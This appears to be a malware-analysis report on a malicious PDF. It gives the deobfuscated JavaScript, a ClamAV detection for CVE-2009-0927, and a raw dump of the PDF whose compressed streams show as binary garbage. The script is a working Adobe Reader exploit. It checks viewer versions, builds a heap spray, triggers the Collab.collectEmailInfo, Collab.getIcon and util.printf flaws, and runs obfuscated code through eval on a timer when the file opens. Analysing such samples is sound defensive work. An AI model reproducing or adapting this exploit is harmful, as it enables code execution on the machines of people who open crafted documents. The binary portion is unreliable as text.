kMa7ScnUN(){var vFp16ohgjX = 0;var qZbpL6A4 = app.viewerVersion.toString();app.clearTimeOut(pDGMEz9Ab);if((qZbpL6A4 >= 8 && qZbpL6A4 < 8.102) || qZbpL6A4 < 7.1){cI0ZIhIXc(0);var h9nwsWTHsf = unescape(\"%u0c0c%u0c0c\");while(h9nwsWTHsf.length < 44952) h9nwsWTHsf += h9nwsWTHsf;var krSp893PTw = this;var auOUl5kqAQ = Collab;krSp893PTw[\"collabStore\"] = auOUl5kqAQ[\"collectEmailInfo\"]({subj : \"\", msg : h9nwsWTHsf});}if((qZbpL6A4 >= 8.102 && qZbpL6A4 < 8.104) || (qZbpL6A4 >= 9 && qZbpL6A4 < 9.1) || qZbpL6A4 <= 7.101){try{if(app.doc.Collab.getIcon){cI0ZIhIXc(2);var tsGQ5lRXX = unescape(\" \");while(tsGQ5lRXX.length < 0x4000){tsGQ5lRXX += tsGQ5lRXX;}tsGQ5lRXX = \"N.\" + tsGQ5lRXX;var zkJcGjjF0 = app;zkJcGjjF0[\"doc\"][\"Collab\"][\"getIcon\"](tsGQ5lRXX);vFp16ohgjX = 1;}else{vFp16ohgjX = 1;}}catch(e){vFp16ohgjX = 1;}if(vFp16ohgjX == 1){if(qZbpL6A4 == 8.102 || qZbpL6A4 == 7.1){cI0ZIhIXc(1);var eM1GFaEh = \"12999999999999999999\";for(a7OUEohX = 0; a7OUEohX < 276; a7OUEohX++){eM1GFaEh += \"8\";}var dBuIuB2lL = util;dBuIuB2lL[\"printf\"](\"E000f\", eM1GFaEh);}}}}app.tQgzaH2xWs = kMa7ScnUN;pDGMEz9Ab = app.setTimeOut(\"app.tQgzaH2xWs()\", 10);';this.aP8WLvtql=30574;function kdfijC2vl5(b7dSkmfjGf,nXCfF4je){return false;}function eouHVJaqU(vjeGnJYx){return vjeGnJYx;}var diiH1sBFC = xRbxIKG2Fh.replace(/[]/g, '');iMdKrY2CxZ="tFs6Bl8kxA";qr9SOPPvq=false;var kvD4E09GQ=new Array('gphvRem5E1','i1US5n4s','jZrMLXAa0');var brkQZv4D = 'e'+'v'+'a'+'l';app[brkQZv4D](diiH1sBFC);var lbLFdNd7r=new Array('pVfnTVos','dlhO4OvBI','fSZsSgA5H');function gEqlgxELr(){return false;}function kLf9pm3V2r(){return false;}
|
|||
generic_stage_recovery_004.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize from raw PDF metadata at offset 0x0 | 29478 bytes |
SHA-256: 351797b103058e79300b1fcc9536a47e2f6f849e1048b15b4016398fa87d1cfc |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 1464>>
stream
x��Yێ�6 |�W�c��X����i.H��H�@Q y�DJ�-�
)�V�� �%Kg�n�F5 _ J �sfΐ�'�5 ��� �>�C�xͣ�=���W ��d>�E�� �/_O.��Hӳ�lˋ�X��� �d��z�&� � �ޤxa����3p����'A|��C� � ��� �t�,V����K����+�ԯ�q�7��� � �qy��v��6�3 ;��F�y�9��f�a� x�fa�0��=���w� �܌>���-D�wA �M�n�`�d8���k|����<�� 9����K�r � �?F��p��s#Z�z �Ry F 醗f�Y�F�Σ�� ���>�s �g. ������A>{�\
Y� Y�� {�����Pd�u�� �L
(�bhM7B��8�]�Z)��X�G�u��误 ��ҵ����K {R��� �R9d�u��� ]�l_V�E��{ �
������+�NյH�{�xQ9��o �I � ��� U�� m�� ��o%��~����g>K�QFbPF��D�$��xV��l��Q��Eх({FW;9-ڈ � � �^B�Zzd��pBj_Aԗ� 7)3-�� ����`�Y[ �è &�K�+�%�`6�uYuPF5 m ��� N� � ���� �2b�� iY�pu�lh�S��oI
��B�j��Rj?b'<e�|�U( S��M�X Z*3)� �t g1jf6˘zO`��X~� �= � 9�bt�ts�0�F�Z� ߄��F8"� ��2���-c��W�� ]E4�P )L Z�hE͌4���r� � P] � �G�Q � ��T�VK�ŵ�(�kX��^�� +w�i�� �� T
�]�Z1�*T�o�q �� l{idP$��t=��t�R�Q�<<�jOA�O˶�m HT m{?i��#�|�)9;����g��!���mĥ����1l-S��� r ���X38��2��L�L�# ��S��3��J �bg�)KƱ� NhR� �0\�� � Z�����I�� � �YT��*� ��[��RV�_OY�I�FĹu<- �;5 � �x�j���kK g�a��o߈�j�o �IQG�9e� П�Z �b�ȭ� XD����ܚe��@3+)քb Ħ/
���@���� NdR� ž5<H���{. Y �AÅ�
P c�phS�� v�
e��� 7 -5�F�,yt� ? pı�^�jH�� �&�}�� )��)f U�Wc���Y �% ������."� uJ��@ݻ��0"> qf�u !mX�J5!�%��@�����8-���g���xğ��� �I �L�rR�iĝ � v (봴l< �e�G "Xw��Q�)3)�A��~pbS�9� pD� a =U�� � �m�U�9�=w�}1 5 {�I!GT�ƚP!iLr� Y�vOɬ=䨦u�iD���ѱݙ� � Y X �+�l �� mĭ� �VXo�4%� #W�C�w� mI���x }v��"D� ���ͽ�$gˇ]�۟a��DL֛��@�I�w� ��O�� � =� ��� ���}
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 1408>>
stream
x��YMs�6 ��W�=� %����s�I���3�N& ��HH ��h��w!' \+v�m=CˢIa��۷˧i�X�� oxl�� _
�x��� x�r�t�L��������$�t���y� �e�<��,Y̰Z��t��Ɠ�)�[���} ^���� >c�K�7~� ��t�JfgX��d��E��?To�ݽtR�� o��_W� �����cu~�,��+ ۿUF�u�5��z�~� xl'a��z1����_}�� ���'p�����Έc�N�s�X, ���� 0yw�&O��ĩ� �K� Ӑ�C�
�e J�J-��F� ?;4�7�t���# �,��Z .ze�UY��#W�Dc}�O��� Ϗ�ma YSZ��fC0�� ��Pm�gv/�Y'QJ] ���
�
o
��.�p�x|�� n)���Lبˉ�Q|� K�
i M� l �����n�ވC���� u3&��� �(�uU([C� ���8��e L�(nm�= %�M��� +� � w�K���QA���� IĨ �f� '� ��[U@�C�Y�U�7Ĥ!�n�C��P ��=O�,� 9�:� �oT� �ڊhP��� w�j;�Qɢ��� 2-�$� � ��,�N�"��� �� ��nG� q�k�}�� O�c�3Gj�R� ��#�Z'�M8�DˆՅ Ye �`� �bM;@�֍ { 1,�\ ��{����@r�l��+\]����Qo,[�^�]W�� %k�R�O[n��%�Sz�x�#z Z*�A�m ��� Ze �xk�� |��aQN|/ C�Ѷ�
� b 6�p�Z ����� � Z�ج��9���
`ʡ� �� �P� �5 ~�� �( �Ԓl8��bT� {i��b�kd ��pzbbu�j�dI� �A���6m��G[)W� y�B }a�f i��-o ��-����nQ�sE��: �](_� ;1&� �k��N�m �Vm ���Ez�?}ׄ�� qĿ�^��� �/2 +՞�� � $d�oX�Q G� � +Q�ȶN�<��� � {� ���{7`��n�ٺCW���;qe-6�ը����2ȶS#�7� 5k!�� R��-c�+�S���6 � �t��^�
�5�ǸQ�G�;Z ��c+�A2�]=b�C-¨�"� � � ��8�g���6@���P�rm� @�8���<�E�Ȁ�'�ͭh��hq��3�}���u5�<Y 3&��
5�����~�Op��Q1GL�%�|.ؓ�}x^ �>g _ 8��� ¨�#F�AE�5�"Y ��Y��i�E.C^E?n #�<�� }>���O��7���^� �����d8 ��2 �NZ�Q��oF �_ MP�e 2\�[m�T�
9~$�6 !w��w��x �� �
;��A�p ����{� '�� w �*�;&dL� �nY���o R�� �7f�u2_ G��o� �� ���{�t���|�ЈRb�'LM�� ��' ]L��
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 1469>>
stream
x��Y�n�8 |�W����K}���� ],� X,�>P -1�H� �(_�C'���I�� ۴l �93gHO�� =�x�� _�����W5yq�go昭�� �[�>�|�>8O 1�-�� ?4�r��N�|�-�X�g�t����w3���x�� x���O �
S�:���U���V�l� ��2��pZ��o� kwo��� ��{~�͌� �� � �ON���jFc� ��8o2�4�,�O8 ��I� �^N� ��w߂��� �OW �9q�6��
�K�sy�Z�3& �X�� ��@]� 9�����Ok� �� Ep9���� (th��
����@!|'�[ :��"� mp^fx}����� � �hd�V� ��)��<� ��a�l��v6Tu6*�� ��Zr�jh=�" ��h! eY �U0A�B� { #Y� \�0Fd�G
g�;C�m�DŽ�:9@ֲ� 6%zi� m _8��ҏ �����/�%��l�CQsn�H ��Ee�[WB��CTF� > 7� 4��( ��`ƍWB 'Jż�� ��0�~7�� �Zl� 8 �"~1x � �Zo�:ՠp�K Z ��w�0*�.�2�^U5Yr�+� ���B�A����-���
cބ�V� /����"� �E�\��� 6�D��/�'�E�-aw��P�=z�� 9���� �
� V%#/M�X�bM�9 � � z��i�rjP�Ή� $7%)�W�t{1m�; �MWS �mШ�`p �KU� ^�Q�t��oW� � .��n f?;�
C� :0 ]��u < ي�#�Ϫ�fT� ['� �<�� ��J�pz) ��=�jH�͆���Y e,# �t��]� ypƿQQ'$�E䠦�i�);*��m�E �ZK�kC�z� �5��p������V��E� �2ת w��J�V_��·�`�� vG� �I<O���p���:\�U)�v� �¸ �<퓮m �d\p )�� �Ӆ 8��aj yp��P��8�-�/ׂ�dݨ��<!Dc���u���)���6 w�O.t3*�ER� � \ ���� �^R �� oR�?dl(���!�1*� Wn��� ��N1n��
?��J�2�X�-� OQ7�������W�H��� �,
U���M ��B���� ?3&�yB��6�,4yt��(N�؆Z|��T�nih�V��� �77!Q
� ���;�!SC��w���o � � ��GE��g+zs�U� 0;%➃�(����Ҳi ������J�yB��w �)�z� �}�X �ر��� �� �?+]'^ 7&mT��&'z��} 2`�mr�p� u�;K��E���� ���� w���cJSَZ�QA���w�� ��c��ڱ�kGE�4�7��[
�Ŧς� ��m�e�j� � C� (!�o�����gT�)� ,Q**�A y���9� pB�o9K�"�/J�p �-շ�;?n�{Ò��W��c!ZZ���TcV����|�� ����
f��9@� '��M�X Ư^�s�Gb���_ f�l}�cB+*� �1�ɺ~�`}�/�l��
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1465>>
stream
x��Y�n�6 |߯���Eً��Ǧ� A����� �@I\�^��Iъ�� ��,m��K� ��� ��3g��N�� �x�� ?qWr{ͭ�<?óWs�V�t��-^�M.� �G 1�-��)o�b��V�8�g�9��Y6��h��� / ���} ^���� .0��;�m >g�Zg� lf�l��Y�����ٽ�R�� go��� � �/#. X��f����� a�h�i�Yb�pn�0@ ��<|���7W߁��� ��� �9q�6�� -�K�sy��� L���$���C? ���_N�����TU��Z� �wnD�*䪓%D�v �Ъ�9W��W ~7� �� NI~,� ͑��� /"ľ5hD! �Z �j�^� j ��MA�*��z;b;* 2��z� ��ۤpg �E�� ��c�M_3��
*uI|�p CM�bD+�+� �qmĥ���K�
�q���1%��� �����F��َ �� :k|�MxD%ZR�k=�7{�X�eI�� @?(��B���K�J� WY*��I�2���3�I *��[9� ��c³p���P {~B�%����'%�a_��m�2��e 5oCi}Š[�ˤ�#a��rxW+j) ;�Kآ� :e�C�rN�픥��{�q�?� /z���B>�
R�#.M� %E i칰�An��A1 NM�K��mG�A�I�,#��-,ZiU �tD^ �@��0L��33 � SM�0-#��a4�FU Sx��!= ��Dr�j$L) �
��:�x��5f�$�&v5�wN�I!/��i� ������ ɶ�鈎���k�P� � �sn�Z��Q���3�#��IQGJڝ�� �� ��\ӏ�.Ǵ+ �O�5"�L��IY2qo� ��^(s���Q
:x��ޔ �w���3]��_(� �u� �I$ +J �H� ~���`&wbt( �v��0ӫ68d��p60 -_�B��d%�|W1�4L7�� Ж�x�@�W*���cM1����l�o-�p��I��HP�� <^��>p�H]� W�$� �o+l��^!PPlV��� ʽ� ��G� ���gI����W�\d��N�������q#�G��F� �� eń�7��`e�K�:��`��3|��� �j)�J �Է�Ƥ�# u�ĸ���+\ o �Q0��O�sR ." ~�_&�5m ��U� @��� ���� � s��� Y R.ݤ����~�1唐瑪"�Gl��� _���)�� �^�x�h.�N �y$��Z/O3Q0�}= K�� W��v;ƶ� p$��� 4(*ٔ!�r7�\8�)�C��̘�*��]0)�HF��-� �s� ���: ��G<8)�ửo�u1���uP�iK�Y��ohB<�\� �͢��� ����H@�q�:����B$jP�,�Y~���)! 6mB�=ި��O �C�� ARԑ~.J��<x� �3
j�T "���f�NC�
��{-��/��i�� {��I�9n� *��*� � � ���'� B� � F ~�� �C���kh�? ��&�h1�d��,:QI�� W8�� ��'� Ɏ�
endstream
endobj
11 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 12 0 R>>
endobj
12 0 obj
<</Filter /FlateDecode /Length 1463>>
stream
x��YMs�6 ��W�=�ѷ�c�|L2�t�x���� $ � M��,d'�c)�E<�eR��x���%4MV ��5� >|�K��%�r�� O^�1['�). <��|�zq \�l�H �i��:Y_`9OVsl6�d:GV�ɫ � ���} ��z��� >aʡ�{ m ~�l�I�Klg�d��e� �To�ٿ�R�� ����_f� ��̸Z`sq���736fx� ��
�&� � '� �����'�{y;� ��� 8��@dx�ı�&� �X� �s����}d�'r{�ҏ �6���O�1Nn�� QhӢ�� b/�� M�Ai��\���ʿW���k��߀T�
��m� ��
�� ���`/�`�� Z��o69 ��c�� ';��d{d� j��)�-��t�DE8�C�Fر�B�� �� Ҿ�a� N }P
A�L�E+� E�pXէ �he���c����� A1tV �\k��� ���n��A�$�U +3�J��u &7ֱ��A"5Vr�俙h� ��@�L:t Q ��N�}\� s^eLѠr �l:�D��)MS���}�RiYs " D.q�6�]�E��� G�:*��3ۮb�9����A* �U�I��Ewm <�%� �| Jc� ]O6���L�j�cT� ������)�Q3���`�U羁y5�d �� �{�Gע�\�Nr�{U�� Z j)�{��`T���6 ��5*J� � �%xM� <-� Y � ��m� ê��
���EA�iM �+b{�E�� �����g^�>� �h�� ��%˂BvP %���[ �{�S)v����3�Nz.�,̻6�ੰ��m� �n�-A��د ��[X�Ҫ�! xg{_�"��� � ��!��^I�KZ(F�n / %�@� �i .H��)�m�^Ƕ r@��87 5�/E }ͺ�RZR�%�WR �4^��'؉,ܘ��x� � Ϣ[�m�=t,��:\��]V�&z: � �U?ǿ, ڝ�/ d]�'0�# ��a_������
9t�tQQ�� 8�{:�&���wbt>� ]� �U52+ # 7> g2�U���� ����JK � �Hjg�{n�2�K�>� �c��[s �" ��R�R羖$ �N8�f#e\�� xp�D��I� &�ۢ_� Z �A Ƹx ��G�h
k�����֤6 � s���Y��8`�)OD H7 7h 3� �����S檫 sC�ȵ���1�� ^Ⱥ� s ���!� � s{ΑD
�<`� ��*&8���.��T�Gq� ��p��ą T�I ���yhg�
���Y: �0�����Ʊ���s�%�� ?Ǯ� J��+-�-��!�l�Lw��
� 7==*� �n��-)+} ��� UA�� 1��nT�2��,�N#��א>Ҧ��ϳ�(g,J�J��oD���;e��� N�ْ�
7`й� Tү!��4 V�mL���I�:T�25����Jl7t3%
`�G%.�O�4 �r� ^��o �'_v�g�ѹ �3����d����9�;�߉�f� �m���� �
Wx�� ���-��gL�f
endstream
endobj
13 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 14 0 R>>
endobj
14 0 obj
<</Filter /FlateDecode /Length 1433>>
stream
x��XMo�8 ��W�q��Zv����
�X�
�X =P"-ѢH� �(�~ �$f '�v� �
��83���L�Ŋ �� �-}�� �� �j��^��Q�̦S:�Л�ɷۛ��&��<���)-���Nf�bF�U�MgT���}N�
}�?>'��}|�$�o4���w[ ~'_��� ��E6[�9�/�� �i�Z!~�J�g�� � �?;.�:=͖���� � a�h�i�^�0� ����A؝O ��w��٭>��� "�; ��:�O��� �\�|W��& �s�#�=r�G u���4� '�mC}G5��;�2z� 5%����.Gbvd:;����g~��Y�FSg�n�� #9� �Ip���h
�"g�!}E��vL�.?�; �P$Fڠ�-��*�\ � n ƺ>�7�;�k� n}�FjN����ji��>y�S�^� @o�B~ � �4T��aח�"�� ����Ʌ#��&d� S�*��ِBٓ���XQ K�!�dF��%�^(Œ ���T�Zm��6��O���d X�� )$ �s#�ʷ����+��R*A� �����<� c4�l�t�)3 �Z#pr �9�j� �X*��z�� ]�A�F�l���H�EZ -# �� �Tc�|K�� D. ��4�C`�@,�k/ ��� �"� ���-U�)�."�(
����Ah>"r��"� �� ���f��
�(��4⎪5�rY��X �rR���#�U�*�85 �F�"� ח�zN������@F.]�� �& `�P���k ��1)ވs� �'� S�'jx AG� �V� Q� �`�F ����MaP%pX�Z4i!G��2 u�B��ޗ �!y�R�G�nF�# �� |�
�� "�.� Y\ �& �.HUG2*Z�����x � �hQ�.��D�:n0���ʘ� � �:�C�]=*�rk,O 4�� /Ұ+c@tۂZe �~�]Hj �LA�� W�!)�I5��� e�]�J�qć�{ �f ھ Q�7�xG
�� i!��<�{cD��$E��!� # � W�#t�- s%�)p ����I z Q��A!�!��ըG�)<��g�*Β:�yD$k����Z���"��wlt�JE �
p.c0, V ���!�O�9"� =�C�wMtkg҆9bXl�B� i �Y �X� u�(k��[y V q% q,) �"z� v!�� m| �� �J֡�o�
Ɉ|�Тe��P�\ �J�8f�t� Ů� �@�c��$� �u�X�5�X)�b�ᡁI
:�� �Iגl � G $��� ͓ �'����E���3��1��wb N i�O� ����0
z`���b�)LR�Q9�� �����Z�*��b�_֭���b� �GM��+ 2HU�e�^mXb��G5}����A&Xێ� � �� ��I��p��^� tĖ�×^��ֻЉw� ���I l���:���y wr3��) ��WL�g�l�8 ��_�������a⟯�����c(�%�@v�s���{�/��
endstream
endobj
15 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 16 0 R>>
endobj
16 0 obj
<</Filter /FlateDecode /Length 1495>>
stream
x��Y]o�6 }��� ������ �� -: m Cч+�� K�BJV�_�C;���MҮ\ ű,�G��{$����z �;l �� ^ �7؊ыsz�zJ�E2 �yN��G�_wN��4�̒� ��4_$�5�M�����I2�RV�� zi��~��p���� A\� ����ڂ�=��2���j2O� : ����1��V�߾��;|��ǀ�ˌ� -��d��ϨM�^i��
� '�9�#L��b�'���o�����#8��O������N�c�J&k�i>G9��+�D� ��䉵=��G u���_�]���q]M�Q^ J+.)3�I� �V�悊��*Y8 ׂz��@)W5�~� -9 �N��σ<;@ޔ�Q��p ���lɵ&�PVʞ����¹ �U�H� `�g;�+�;A�)�P �ȲP�$��J'��� �#������b��ƪ�̖X )b�]� xS��@�_�5�u��J� ���ׯ([�Z�LM� 2�
�� {*�M� ��� +��U\�� h��� t��h:[�% �s�~�IPS ���� � U� �0"W)xZ��tԳ8eD? p������W�RVuu��١� �7�2�v�PVv�\) �%Y�#v��&����M r���]� � ��� �i�j� ����+I�I�[htoLT���NB{�� �&�I �ހ�[� I_l) Ƨx�Ƅ; D���.��. z'{Y� 9� � ��� ���fQy� 8 ��m �J��V; �֖@F�v0��k=E?�: �2� Y�Pؚ/�1��3^e��d n|��% ����B W2|i0��,hp�� �� z� ��Z� �J{u� R| ;�k� ���U-� |�
9 ��A e��̰�,�o͠�V)E�E�I�O�ہT���Φ�� �]�|�[� �" T�w��XT��c�2@�)g�#ٖ�=��B?!#� "Ik�- �Iz/L r��6*�@z[S�� i�~ O��^�`n+1 �mxQ ��}��9�8�h)�o� Y�7 � �Z0%ϣ" ����!N�
�G�. g JE�塨�C������Cy�W�
M�� I(*�@}NAA�y!;���*��dm��w ��xg��|ޢ] -l�QA����� n
O�!.�0f �w�� �� `�� �n�m`�-u �o�m說� QA �; �d ��1���5�0 o N�p���, TTȁ�.:�.� �,�͝��pݣP�² #B��;}�bĂ}Ԣ0 hĂRe�F�i W*,i� ��-� j�A�� d� �l F-w�a��Q ;
��X� �<����� ��� ��3!�F�zJ����s'�D ��t��j��Ԟ��+J2y��6 �{i'*�0)ބ�� ��7qh �ȓ@o���]m���P� Uc�@c�Q�~�� �=/���%��ѷW쾟m�� t��P�*`�� Y��F � � �e�^)w���ui�Z B�ޛI7�&�� G�&*�@e� � c _��J��Q� (�[��~ @ �G��4&�O�����?]%��� ���� �@Y�+��c�J�7 = .$-�9V*8� x0� ς��
endstream
endobj
17 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 18 0 R>>
endobj
18 0 obj
<</Filter /FlateDecode /Length 1483>>
stream
x��Y�n�8 |�W����K|���� ],� X,�>P %1�D� +����nj�R�� D�M����̜!=M�k��� �K|� �� ^��� ���c�J�S\ xu1���8� 1�-��9?4�r���q6O�s�׳d:G���� ^j|8|| �����I W�����ݔ���V�d~��l��W���������F�߿�� ��vĻ��ˈ� ����js ���{��0n4�4�,�O8��I ��O ~��7_{߁��� �� � �8V�dv� �%ù�}]� & ���#k�H�� ���/�a��q�� ݢ3��"�;�rlō�(�iP�l+ ��:dF5]�w��5�Xp9
l%zTB�GV�� �8 ��� �j�E*KX�4 N�i� F;��U���"F�Ɨ �Qm�T ��J�-R��vTس#la����� W9l�u��W-.� {元�� � |^ ݄)h_V�E���uu~��\ �Dj� T�%�j 캆 M30-�(��c�� ~� �\ A�- i����Y���LG�L �u� � �`��-�V# Y��Oݺ �d�̛tT� �j�8�� ��7|(��
n� ?b
9� v"�A獕��kUK�\r�%:�� oĴT �h}�MI�K���t�pw� �Q � "�B0�m� �� :�) �Zrf� 7� �*�
�j3���䓠X5i��� � �`�n/Qֺ��Gi8�S z�� 5�n��1�.#� � 4��,���*�nΘ��ZI�9�/� =D#[J]�Q�_�TiJ�� � �0��n ��0C{��� ������0"W�J��a ��T �f*�֛ i�tw�0*�v�KlY5 � f��9UCf�t�t �k ��n㋂�R�s�>Wn��F�{AY�� *�"� ���K&i�"����>��L2]�� �� �Ƞ��iJ�v˗��>*�p�� X/(P���1~�/ A�:& o"g��an�Ȗ��t�+�&x�%� �Ĩ��,�\����J�S� �k6���I����"�����[α �
���YD� �e�� �� � �> ��G rD4Jni�툷 �H)�F��$�Y���vd�68 %�� mT� �"+�أ��� �� � A�jƌ��EA�"Pް���� X�R�%KEZ+zsz�1a/" =a�r>�}��� �Y.D^hT� �b�U��X� 5Yػ t{� �V�K�E�%����P2��� RĒ'\SG�� ��5.��|O .�& ���F-s����� ���[V ߅4MM�S �K *.ɗ�+���a�[� �yD+:�N �����g�2х � �r��{ 1*ވT'�
�u��Z ��A\}z¿� �a�E�W jl _،� �&�?k � ��8"�= �8�q� �9ypD�]_0&�YD��� 5B�� ��M|���ۚ� ��eW`'|��T�Q�GԸo*�Sm�\4
��`<u� * ��ݨ�#f�R��.wM�A<�5�s�_~�2� t�l��{��� �� �jԤ�h�= p�"�6���b� �#�_q&?�$���H��2�ȟ �z ~ǘm��ן1:QJl��K ��'��'� p���
endstream
endobj
19 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 20 0 R>>
endobj
20 0 obj
<</Filter /FlateDecode /Length 1465>>
stream
x���Ko�6 ���+β�(��<�l�H��Hb�(�,(���H��"˿���8�S�I� ��#KÏ��syęg�-F���%>~�K�� �z�� O^.��d�9.*���}�vr ��b��V�i��&ۜ�l����n �|��œ� <�xws�
�����{!>c�K�G�]
~�b�͖g�-��r�� j�Z� ��� .���oG< �7#�W؞�g��͈Ǝo��a�h�y�[c�q ��0@ �����߿�z� ��� �o �%96�lq� �5ù�}�� �w L�DnO���@}M�z � ��[�&s�v(!
Uz��p�T�A'��
>�ى��w@�;�_ :�!}��B+��p1*�Pu���Bu ����-��(��m�g��Dn�D-u� wq�[4R�'\
o
ζ}�ډ���%FUJ iz7�� F�猵� �ʥ��v(��v)�7�w�N� D�\�!d���h`m�aT�� �r���Ab_0 !�W X)�� %����;4�O
��� �� !%��M$� �e�;'� ��bU���� �p- � N ސKC2�l|̱ ��;�1����M �HT�PUԌ� ���!�=r���2�0���!#J7Ԟ�ʔȕ�y�(�: {� l ;K���LR�H^����<� ^ ��Lz�~�m� E`����*�= �y� �> ezԢ�e�\���ZGꪵ0L��(�� �&��`�bb �. q�b' B ���L�`-�N�� |/� I�y )�Wk� �&F1� ����Z�C_�K5\_S�%9��oE��.�ڋ+�% �d�j.H0&4y� [;2~�0lj��yɶ��J�( �Uiƾ�2m�ZGZ�V\XAY~��xx %'�C[}� ����� ! T4��� �1� N�
r��?�p �Kԇ�j�.p�d �)Y� _��k� ���d��0ެU6; )y �� z���,RZ��T� E�R�e ����p���@�!���]9s��%Ŏ��9բp�w � T �[�!Sd�<�;��V� � ;U��Б�������Y��cg�#� R�&D�=�&�Ǟ� ��� F�{��B���nd��l ������܂�z��� �'%�*��_������9��V*Z�B ���{�� v�\��a^EB \�+>J$-�U��G > 'v�sMA]95D�5%�]!�O
3h}c�� n�r�
�v���@'�Չ�I�*��� �+)u���� ����p�H'�ػ� �o�X��{����l .rnG��{� �PR�,#�p�-� �� � �҂ }"���\% �Wik" M�֊ЈE ���6)�"���v��Â��U�EU cs- ���+T
&�:���� 9���h.*>; A@> ��i���{�Z� t�{�"-t�&� o�yE]����, F
1�"z/���nUR�HJ�� ;2��Ic ��U� �('�X�$W�L�}����_k�� /"!��k����= ���N)�#��f
�{i���KUӓء�* Glv��� a�w ��n�r���w��7o�^�=����7 �]��� C'8�s<a��y��f��O�郞
endstream
endobj
21 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 22 0 R>>
endobj
22 0 obj
<</Filter /FlateDecode /Length 1501>>
stream
x��Y�r�6 |�W�c���bI�c�\&�t:I<��d� � h� - } � ��|iZT3ԅ���9g�,�q6_b� �y\��7�H oy����x�f��" �q����������$&�Y6;�Ƙ/�� N��|��r���( �x7�+��7?��� ���Q � ���gW���,��� ��y6]�\��/� k�o�R�~��{��n����͈� �gg���fDc� ڨ0n4�8;�c q �0@ ]� ���������>���
D�wJ ��lr� �9�9��\�3F ���� 9����M�| ҿ��g�X�� ��T �%�F (��
^��c %��-�5 ��6�{5� j� ��P K� �w��[:�[" 8v#d��{f���9�u � _ ��UD ���ck�B�(�I O�� � 899A��
���d��k� >�/{�1� 2�� Jt[ll�y&��l�n`7) /�����J2����R8�G� 3T�t��,U���-�-L�0T��_� V���zO�"��K�y��� + ���WY�A#��a
�KK �.GM*x4��-��o��Q /� ��$��E�{��R�Ez���YD�R1G%Z ôZ�Yb� �-c,)���
Y� Y�Y � xM!�(ߡ����WI1G��U�e��"+����
D�X b���o��e� ��͕WI�?��� ��`}A"� ֊ s25 �2��HR N
��(ȉ*-��
O��� k ��E���� ��It�`L?P%� �^B �Z���� ��S�2��`�b��t��#WAv(8� .I����C+ C. =�z - se�z�6� w�
��eE�S�&�Z t�JK� ֔��\�xU. ɒ���m�r�&� :D��k�B��S�B��� +b��� � ��lߺ�����Ơeh��c�W[�*�s�ȯ�Q�Ԫ��O"^�������F>�#yh�-���>ë^a]�ba �X�nK��)@�s�]K���{�b�(�� N> ]�H>�����Z��kPQ h/���- ��ˉZᢗ§� ���J� �� >��ՕNSss�Z�l��I���Ś� ��5�g �CG� �,"Ul�
� ���Bի���E$9j {7����/��5�����a�Kzfv���J
9b�?0v�^ ����#F���n pUۖ@���N�;�����\˙ *m�#. u�͔]�cW, ay �4 2Y \NJ��x�th� �| L��l 䮱z��GO�%RE�\ �����F�1_��15
'Pה�� J�9b�2�k� ē*�K�L4)y� ̾ ��V�T� �F1� ;/ J#��M#�=�HQ�� ( �4c�h�n�qk|� ��w�_a�C{!� �Li�n�����,뛪̊q\ � ǔ�'�Zن�!�uݱ�q��pR �PR� � �M;��v�| ظJ
8��n ,�3�g���.��!� ;�a+��*K��K���n���:�ID����]� � ۇG7l�"����> �=9� y��(7 A�1 о�â֭ �D�vt��� ar{���^��4���[�7 �N�#!Y���'&��rq�x+ �� � M�'��G ����
endstream
endobj
23 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 24 0 R>>
endobj
24 0 obj
<</Filter /FlateDecode /Length 1321>>
stream
x��XMo�F ��W̱�0�d}��|"A�"��� rx$��JK.�K�f~}ge;�l7AҲ H��R;�vfވ�h�A�9�����'��x��Q̞^��� �u4��*Nj���7 ����e���Cs���� �h��f G� �
O^�xn����%8����o���9���ή?'^o�� ��*Z�q���/�[k�/�R�~�� ~���͌�%6���z{3cm���Va�ќ�h�B?� <v�0A�=�=����nG��9�~ �� �,�8��(�D�Պ�\�] |���w ���>r�g u���y��c� ִ �S O�� ٠�n��i�g�� �����tȍEb�Dj]����!-ŷ�� �f)5� �/%��~����O�8>!6��]g�U�
H�TH �X=1y�K�� �^��M����`�[ J<�R�lJ��� �V� �8���e���� U�AR�y¯=�dڗ s�5ז ,y�Lu�� ��� �� �0����� � sh���s�9*��b-�Vtʷ�ŋ���%�uJq4 �z���l�jUɤhGri:� �I� �كBbö*�Q&J� ��� ��D��7ė��wM`g* *��jY��B��� �u�( ��� kY�|Ьh���~?�,�R7� �ȓd$�δ�/ ��� ��X�w
